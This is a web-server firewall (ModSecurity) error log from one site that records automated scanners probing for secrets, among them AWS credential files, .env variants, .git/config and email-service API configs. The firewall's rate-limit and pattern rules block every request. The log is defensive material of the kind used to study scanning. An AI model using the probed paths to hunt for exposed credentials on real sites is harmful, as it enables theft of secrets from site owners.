[Sun Nov 30 01:20:31.618007 2025] [:error] [pid 58730:tid 58783] [client 35.166.7.143:40658] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.aws/config"] [unique_id "aSsrX6DQq6rwusUXQKjcdgAAABI"]
[Sun Nov 30 01:20:32.348227 2025] [:error] [pid 42163:tid 42201] [client 35.166.7.143:40662] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.aws/credentials"] [unique_id "aSsrYJnaEs-eGc51wg2PggAAAMY"]
[Sun Nov 30 01:20:33.080790 2025] [:error] [pid 58730:tid 58768] [client 35.166.7.143:57228] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aws/config"] [unique_id "aSsrYaDQq6rwusUXQKjcfAAAAAM"]
[Sun Nov 30 01:20:33.810820 2025] [:error] [pid 42252:tid 42262] [client 35.166.7.143:57236] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aws/credentials"] [unique_id "aSsrYbweMxCk051n8_-0MAAAAUg"]
[Sun Nov 30 01:20:34.543349 2025] [:error] [pid 58730:tid 58769] [client 35.166.7.143:57242] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aws.json"] [unique_id "aSsrYqDQq6rwusUXQKjcfgAAAAQ"]
[Sun Nov 30 01:20:35.276643 2025] [:error] [pid 42252:tid 42265] [client 35.166.7.143:57244] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/credentials"] [unique_id "aSsrY7weMxCk051n8_-0MgAAAUs"]
[Sun Nov 30 01:20:36.006912 2025] [:error] [pid 42163:tid 42211] [client 35.166.7.143:57248] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/secrets.json"] [unique_id "aSsrZJnaEs-eGc51wg2PhgAAANA"]
[Sun Nov 30 01:20:36.734914 2025] [:error] [pid 42164:tid 42230] [client 35.166.7.143:57260] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/keys.js"] [unique_id "aSsrZNip8Nhatsq7KxzZzwAAAQg"]
[Sun Nov 30 01:20:37.457793 2025] [:error] [pid 42164:tid 42225] [client 35.166.7.143:57270] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aws-keys.js"] [unique_id "aSsrZdip8Nhatsq7KxzZ0QAAAQM"]
[Sun Nov 30 01:20:38.194210 2025] [:error] [pid 42164:tid 42231] [client 35.166.7.143:57274] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mailgun"] [unique_id "aSsrZtip8Nhatsq7KxzZ1AAAAQk"]
[Sun Nov 30 01:20:38.919418 2025] [:error] [pid 42164:tid 42244] [client 35.166.7.143:57290] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mailgun.json"] [unique_id "aSsrZtip8Nhatsq7KxzZ1wAAARY"]
[Sun Nov 30 01:20:39.647228 2025] [:error] [pid 58730:tid 58782] [client 35.166.7.143:57294] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mailgun/config"] [unique_id "aSsrZ6DQq6rwusUXQKjcgQAAABE"]
[Sun Nov 30 01:20:40.375457 2025] [:error] [pid 42252:tid 42267] [client 35.166.7.143:57306] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mailgun.php"] [unique_id "aSsraLweMxCk051n8_-0OQAAAU0"]
[Sun Nov 30 01:20:41.105956 2025] [:error] [pid 42252:tid 42275] [client 35.166.7.143:57322] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sendgrid"] [unique_id "aSsrabweMxCk051n8_-0PAAAAVU"]
[Sun Nov 30 01:20:41.841864 2025] [:error] [pid 42163:tid 42203] [client 35.166.7.143:57332] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sendgrid.json"] [unique_id "aSsraZnaEs-eGc51wg2PjAAAAMg"]
[Sun Nov 30 01:20:42.578381 2025] [:error] [pid 58730:tid 58784] [client 35.166.7.143:36432] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sendgrid/config"] [unique_id "aSsraqDQq6rwusUXQKjchQAAABM"]
[Sun Nov 30 01:20:43.308646 2025] [:error] [pid 29714:tid 29736] [client 35.166.7.143:36438] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sendgrid.php"] [unique_id "aSsra776_KNwefuiUY9xNAAAAFQ"]
[Sun Nov 30 01:20:44.038615 2025] [:error] [pid 58730:tid 58779] [client 35.166.7.143:36444] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sendgrid.env"] [unique_id "aSsrbKDQq6rwusUXQKjciAAAAA4"]
[Sun Nov 30 01:20:44.770473 2025] [:error] [pid 29714:tid 29729] [client 35.166.7.143:36456] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/brevo"] [unique_id "aSsrbL76_KNwefuiUY9xNwAAAE0"]
[Sun Nov 30 01:20:45.507195 2025] [:error] [pid 58730:tid 58771] [client 35.166.7.143:36458] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/brevo.json"] [unique_id "aSsrbaDQq6rwusUXQKjcjAAAAAY"]
[Sun Nov 30 01:20:46.240028 2025] [:error] [pid 42252:tid 42268] [client 35.166.7.143:36468] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/brevo/config"] [unique_id "aSsrbrweMxCk051n8_-0QwAAAU4"]
[Sun Nov 30 01:20:46.970537 2025] [:error] [pid 42162:tid 42173] [client 35.166.7.143:36476] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/brevo.php"] [unique_id "aSsrbtePpz4Ije-_Ejrt4QAAAIY"]
[Sun Nov 30 01:20:47.698932 2025] [:error] [pid 42164:tid 42244] [client 35.166.7.143:36478] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/php"] [unique_id "aSsrb9ip8Nhatsq7KxzZ5AAAARY"]
[Sun Nov 30 01:20:48.427090 2025] [:error] [pid 42162:tid 42190] [client 35.166.7.143:36482] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info"] [unique_id "aSsrcNePpz4Ije-_Ejrt4wAAAJc"]
[Sun Nov 30 01:20:49.164390 2025] [:error] [pid 29714:tid 29722] [client 35.166.7.143:36484] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phpinfo"] [unique_id "aSsrcb76_KNwefuiUY9xQAAAAEY"]
[Sun Nov 30 01:20:49.897485 2025] [:error] [pid 29714:tid 29717] [client 35.166.7.143:36500] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aSsrcb76_KNwefuiUY9xQwAAAEE"]
[Sun Nov 30 01:20:51.381888 2025] [:error] [pid 58730:tid 58770] [client 35.166.7.143:36518] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js"] [unique_id "aSsrc6DQq6rwusUXQKjctAAAAAU"]
[Sun Nov 30 02:04:32.642999 2025] [:error] [pid 33303:tid 33322] [client 138.197.94.71:37638] [client 138.197.94.71] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSs1sPvL3Xz3V8uL8l5ypgAAAZE"]
[Sun Nov 30 02:04:35.085643 2025] [:error] [pid 33376:tid 33379] [client 138.197.94.71:49416] [client 138.197.94.71] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSs1s3px_7viPEhKF36RSAAAAgA"]
[Sun Nov 30 02:45:49.313695 2025] [:error] [pid 42164:tid 42245] [client 18.153.99.0:33698] [client 18.153.99.0] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSs_Xdip8Nhatsq7Kxzu0QAAARc"]
[Sun Nov 30 02:45:50.284135 2025] [:error] [pid 42252:tid 42261] [client 18.153.99.0:33706] [client 18.153.99.0] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env"] [unique_id "aSs_XrweMxCk051n8__H1QAAAUc"]
[Sun Nov 30 02:45:51.250546 2025] [:error] [pid 33337:tid 33345] [client 18.153.99.0:33718] [client 18.153.99.0] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aSs_Xz7HzFQftKzaJgJ_3wAAAcQ"]
[Sun Nov 30 02:45:52.213153 2025] [:error] [pid 33376:tid 33388] [client 18.153.99.0:33726] [client 18.153.99.0] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aSs_YHpx_7viPEhKF36cQQAAAgk"]
[Sun Nov 30 02:45:53.182929 2025] [:error] [pid 58730:tid 58778] [client 18.153.99.0:33740] [client 18.153.99.0] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.development"] [unique_id "aSs_YaDQq6rwusUXQKjsnAAAAA0"]
[Sun Nov 30 02:45:54.147296 2025] [:error] [pid 58730:tid 58774] [client 18.153.99.0:33750] [client 18.153.99.0] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.bak"] [unique_id "aSs_YqDQq6rwusUXQKjsnwAAAAk"]
[Sun Nov 30 02:45:55.109030 2025] [:error] [pid 33376:tid 33397] [client 18.153.99.0:33758] [client 18.153.99.0] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "aSs_Y3px_7viPEhKF36cRwAAAhI"]
[Sun Nov 30 02:45:56.078768 2025] [:error] [pid 58730:tid 58769] [client 18.153.99.0:33762] [client 18.153.99.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/env"] [unique_id "aSs_ZKDQq6rwusUXQKjsoQAAAAQ"]
[Sun Nov 30 02:45:57.047766 2025] [:error] [pid 58730:tid 58768] [client 18.153.99.0:45892] [client 18.153.99.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/env.json"] [unique_id "aSs_ZaDQq6rwusUXQKjspQAAAAM"]
[Sun Nov 30 02:45:58.018114 2025] [:error] [pid 42252:tid 42269] [client 18.153.99.0:45896] [client 18.153.99.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/env.yaml"] [unique_id "aSs_ZrweMxCk051n8__H3gAAAU8"]
[Sun Nov 30 02:45:58.988572 2025] [:error] [pid 42252:tid 42277] [client 18.153.99.0:45900] [client 18.153.99.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/env.yml"] [unique_id "aSs_ZrweMxCk051n8__H4QAAAVc"]
[Sun Nov 30 02:45:59.951036 2025] [:error] [pid 42252:tid 42260] [client 18.153.99.0:45910] [client 18.153.99.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/config"] [unique_id "aSs_Z7weMxCk051n8__H4gAAAUY"]
[Sun Nov 30 02:46:00.913537 2025] [:error] [pid 58730:tid 58774] [client 18.153.99.0:45914] [client 18.153.99.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/config.json"] [unique_id "aSs_aKDQq6rwusUXQKjsqAAAAAk"]
[Sun Nov 30 02:46:01.883712 2025] [:error] [pid 29714:tid 29738] [client 18.153.99.0:45928] [client 18.153.99.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/config.js"] [unique_id "aSs_ab76_KNwefuiUY-DvAAAAFY"]
[Sun Nov 30 02:46:02.847562 2025] [:error] [pid 29714:tid 29733] [client 18.153.99.0:45942] [client 18.153.99.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/config.yaml"] [unique_id "aSs_ar76_KNwefuiUY-DvwAAAFE"]
[Sun Nov 30 02:46:03.809171 2025] [:error] [pid 42164:tid 42223] [client 18.153.99.0:45952] [client 18.153.99.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/config.yml"] [unique_id "aSs_a9ip8Nhatsq7Kxzu1wAAAQE"]
[Sun Nov 30 02:46:04.772071 2025] [:error] [pid 42164:tid 42241] [client 18.153.99.0:45962] [client 18.153.99.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/config.ini"] [unique_id "aSs_bNip8Nhatsq7Kxzu2wAAARM"]
[Sun Nov 30 02:46:05.746391 2025] [:error] [pid 33303:tid 33324] [client 18.153.99.0:45976] [client 18.153.99.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/config.php"] [unique_id "aSs_bfvL3Xz3V8uL8l6AWwAAAZM"]
[Sun Nov 30 02:46:06.715641 2025] [:error] [pid 33376:tid 33392] [client 18.153.99.0:45980] [client 18.153.99.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/configuration"] [unique_id "aSs_bnpx_7viPEhKF36cTQAAAg0"]
[Sun Nov 30 02:46:07.686870 2025] [:error] [pid 33303:tid 33311] [client 18.153.99.0:51322] [client 18.153.99.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/settings"] [unique_id "aSs_b_vL3Xz3V8uL8l6AYgAAAYY"]
[Sun Nov 30 02:46:08.656962 2025] [:error] [pid 33303:tid 33305] [client 18.153.99.0:51336] [client 18.153.99.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/settings.json"] [unique_id "aSs_cPvL3Xz3V8uL8l6AZQAAAYA"]
[Sun Nov 30 02:46:09.634434 2025] [:error] [pid 42164:tid 42225] [client 18.153.99.0:51342] [client 18.153.99.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/app.config.js"] [unique_id "aSs_cdip8Nhatsq7Kxzu4AAAAQM"]
[Sun Nov 30 03:04:24.599206 2025] [:error] [pid 33337:tid 33360] [client 18.200.191.190:47810] [client 18.200.191.190] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aStDuD7HzFQftKzaJgKCYQAAAdM"]
[Sun Nov 30 03:04:25.674462 2025] [:error] [pid 33376:tid 33399] [client 18.200.191.190:41970] [client 18.200.191.190] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aStDuXpx_7viPEhKF36fwAAAAhQ"]
[Sun Nov 30 03:04:26.745286 2025] [:error] [pid 42252:tid 42264] [client 18.200.191.190:41976] [client 18.200.191.190] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aStDurweMxCk051n8__K8wAAAUo"]
[Sun Nov 30 03:04:27.815087 2025] [:error] [pid 33376:tid 33401] [client 18.200.191.190:41990] [client 18.200.191.190] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aStDu3px_7viPEhKF36fwQAAAhY"]
[Sun Nov 30 03:04:28.883343 2025] [:error] [pid 33303:tid 33321] [client 18.200.191.190:42002] [client 18.200.191.190] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development"] [unique_id "aStDvPvL3Xz3V8uL8l6FNQAAAZA"]
